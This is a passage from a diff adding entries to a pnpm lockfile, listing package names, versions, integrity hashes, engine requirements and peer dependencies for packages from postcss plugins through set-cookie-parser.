sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-convert-values@5.1.3: + resolution: {integrity: sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-comments@5.1.2: + resolution: {integrity: sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-duplicates@5.1.0: + resolution: {integrity: sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-empty@5.1.1: + resolution: {integrity: sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-overridden@5.1.0: + resolution: {integrity: sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-load-config@3.1.4: + resolution: {integrity: sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==} + engines: {node: '>= 10'} + peerDependencies: + postcss: '>=8.0.9' + ts-node: '>=9.0.0' + peerDependenciesMeta: + postcss: + optional: true + ts-node: + optional: true + + postcss-load-config@4.0.2: + resolution: {integrity: sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==} + engines: {node: '>= 14'} + peerDependencies: + postcss: '>=8.0.9' + ts-node: '>=9.0.0' + peerDependenciesMeta: + postcss: + optional: true + ts-node: + optional: true + + postcss-merge-longhand@5.1.7: + resolution: {integrity: sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-merge-rules@5.1.4: + resolution: {integrity: sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-font-values@5.1.0: + resolution: {integrity: sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-gradients@5.1.1: + resolution: {integrity: sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-params@5.1.4: + resolution: {integrity: sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-selectors@5.2.1: + resolution: {integrity: sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-modules-extract-imports@3.1.0: + resolution: {integrity: sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-local-by-default@4.2.0: + resolution: {integrity: sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-scope@3.2.1: + resolution: {integrity: sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-values@4.0.0: + resolution: {integrity: sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules@4.3.1: + resolution: {integrity: sha512-ItUhSUxBBdNamkT3KzIZwYNNRFKmkJrofvC2nWab3CPKhYBQ1f27XXh1PAPE27Psx58jeelPsxWB/+og+KEH0Q==} + peerDependencies: + postcss: ^8.0.0 + + postcss-modules@6.0.1: + resolution: {integrity: sha512-zyo2sAkVvuZFFy0gc2+4O+xar5dYlaVy/ebO24KT0ftk/iJevSNyPyQellsBLlnccwh7f6V6Y4GvuKRYToNgpQ==} + peerDependencies: + postcss: ^8.0.0 + + postcss-normalize-charset@5.1.0: + resolution: {integrity: sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-display-values@5.1.0: + resolution: {integrity: sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-positions@5.1.1: + resolution: {integrity: sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-repeat-style@5.1.1: + resolution: {integrity: sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-string@5.1.0: + resolution: {integrity: sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-timing-functions@5.1.0: + resolution: {integrity: sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-unicode@5.1.1: + resolution: {integrity: sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-url@5.1.0: + resolution: {integrity: sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-whitespace@5.1.1: + resolution: {integrity: sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-ordered-values@5.1.3: + resolution: {integrity: sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-reduce-initial@5.1.2: + resolution: {integrity: sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-reduce-transforms@5.1.0: + resolution: {integrity: sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-selector-parser@6.1.2: + resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} + engines: {node: '>=4'} + + postcss-selector-parser@7.1.1: + resolution: {integrity: sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==} + engines: {node: '>=4'} + + postcss-svgo@5.1.0: + resolution: {integrity: sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-unique-selectors@5.1.1: + resolution: {integrity: sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.8: + resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + + pretty-ms@7.0.1: + resolution: {integrity: sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==} + engines: {node: '>=10'} + + proc-log@3.0.0: + resolution: {integrity: sha512-++Vn7NS4Xf9NacaU9Xq3URUuqZETPsf8L4j5/ckhaRYsfPeRyzGw+iDjFhV/Jr3uNmTvvddEJFWh5R1gRgUH8A==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + process-nextick-args@2.0.1: + resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} + + promise-inflight@1.0.1: + resolution: {integrity: sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==} + peerDependencies: + bluebird: '*' + peerDependenciesMeta: + bluebird: + optional: true + + promise-retry@2.0.1: + resolution: {integrity: sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==} + engines: {node: '>=10'} + + promise.series@0.2.0: + resolution: {integrity: sha512-VWQJyU2bcDTgZw8kpfBpB/ejZASlCrzwz5f2hjb/zlujOEB4oeiAhHygAWq8ubsX2GVkD4kCU5V2dwOTaCY5EQ==} + engines: {node: '>=0.12'} + + prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + + property-information@6.5.0: + resolution: {integrity: sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==} + + proxy-addr@2.0.7: + resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} + engines: {node: '>= 0.10'} + + pump@2.0.1: + resolution: {integrity: sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==} + + pump@3.0.3: + resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==} + + pumpify@1.5.1: + resolution: {integrity: sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==} + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + qs@6.14.2: + resolution: {integrity: sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==} + engines: {node: '>=0.6'} + + quansync@0.2.11: + resolution: {integrity: sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + range-parser@1.2.1: + resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} + engines: {node: '>= 0.6'} + + raw-body@2.5.3: + resolution: {integrity: sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==} + engines: {node: '>= 0.8'} + + react-dom@18.3.1: + resolution: {integrity: sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==} + peerDependencies: + react: ^18.3.1 + + react-dom@19.2.4: + resolution: {integrity: sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==} + peerDependencies: + react: ^19.2.4 + + react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + + react-refresh@0.14.2: + resolution: {integrity: sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==} + engines: {node: '>=0.10.0'} + + react-remove-scroll-bar@2.3.8: + resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + + react-remove-scroll@2.7.2: + resolution: {integrity: sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react-router-dom@6.30.3: + resolution: {integrity: sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag==} + engines: {node: '>=14.0.0'} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + + react-router@6.30.3: + resolution: {integrity: sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw==} + engines: {node: '>=14.0.0'} + peerDependencies: + react: '>=16.8' + + react-style-singleton@2.2.3: + resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react@18.3.1: + resolution: {integrity: sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==} + engines: {node: '>=0.10.0'} + + react@19.2.4: + resolution: {integrity: sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==} + engines: {node: '>=0.10.0'} + + readable-stream@2.3.8: + resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} + + readable-stream@3.6.2: + resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} + engines: {node: '>= 6'} + + readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} + engines: {node: '>=8.10.0'} + + reflect.getprototypeof@1.0.10: + resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} + engines: {node: '>= 0.4'} + + regexp.prototype.flags@1.5.4: + resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} + engines: {node: '>= 0.4'} + + remark-frontmatter@4.0.1: + resolution: {integrity: sha512-38fJrB0KnmD3E33a5jZC/5+gGAC2WKNiPw1/fdXJvijBlhA7RCsvJklrYJakS0HedninvaCYW8lQGf9C918GfA==} + + remark-mdx-frontmatter@1.1.1: + resolution: {integrity: sha512-7teX9DW4tI2WZkXS4DBxneYSY7NHiXl4AKdWDO9LXVweULlCT8OPWsOjLEnMIXViN1j+QcY8mfbq3k0EK6x3uA==} + engines: {node: '>=12.2.0'} + + remark-mdx@2.3.0: + resolution: {integrity: sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==} + + remark-parse@10.0.2: + resolution: {integrity: sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==} + + remark-rehype@10.1.0: + resolution: {integrity: sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==} + + require-like@0.1.2: + resolution: {integrity: sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A==} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + + resolve.exports@2.0.3: + resolution: {integrity: sha512-OcXjMsGdhL4XnbShKpAcSqPMzQoYkYyhbEaeSko47MjRP9NfEQMhZkXL1DoFlt9LWQn4YttrdnV6X2OiyzBi+A==} + engines: {node: '>=10'} + + resolve@1.22.11: + resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==} + engines: {node: '>= 0.4'} + hasBin: true + + resolve@2.0.0-next.6: + resolution: {integrity: sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==} + engines: {node: '>= 0.4'} + hasBin: true + + restore-cursor@3.1.0: + resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==} + engines: {node: '>=8'} + + retry@0.12.0: + resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==} + engines: {node: '>= 4'} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rimraf@3.0.2: + resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} + deprecated: Rimraf versions prior to v4 are no longer supported + hasBin: true + + rollup-plugin-peer-deps-external@2.2.4: + resolution: {integrity: sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g==} + peerDependencies: + rollup: '*' + + rollup-plugin-postcss@4.0.2: + resolution: {integrity: sha512-05EaY6zvZdmvPUDi3uCcAQoESDcYnv8ogJJQRp6V5kZ6J6P7uAVJlrTZcaaA20wTH527YTnKfkAoPxWI/jPp4w==} + engines: {node: '>=10'} + peerDependencies: + postcss: 8.x + + rollup-pluginutils@2.8.2: + resolution: {integrity: sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ==} + + rollup@4.60.0: + resolution: {integrity: sha512-yqjxruMGBQJ2gG4HtjZtAfXArHomazDHoFwFFmZZl0r7Pdo7qCIXKqKHZc8yeoMgzJJ+pO6pEEHa+V7uzWlrAQ==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + + safe-array-concat@1.1.3: + resolution: {integrity: sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==} + engines: {node: '>=0.4'} + + safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + safe-identifier@0.4.2: + resolution: {integrity: sha512-6pNbSMW6OhAi9j+N8V+U715yBQsaWJ7eyEUaOrawX+isg5ZxhUlV1NipNtgaKHmFGiABwt+ZF04Ii+3Xjkg+8w==} + + safe-push-apply@1.0.0: + resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==} + engines: {node: '>= 0.4'} + + safe-regex-test@1.1.0: + resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} + engines: {node: '>= 0.4'} + + safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + + scheduler@0.23.2: + resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==} + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + semver@7.7.4: + resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==} + engines: {node: '>=10'} + hasBin: true + + send@0.19.2: + resolution: {integrity: sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==} + engines: {node: '>= 0.8.0'} + + serve-static@1.16.3: + resolution: {integrity: sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==} + engines: {node: '>= 0.8.0'} + + set-cookie-parser@2.7.2: + resolution: {integrity: 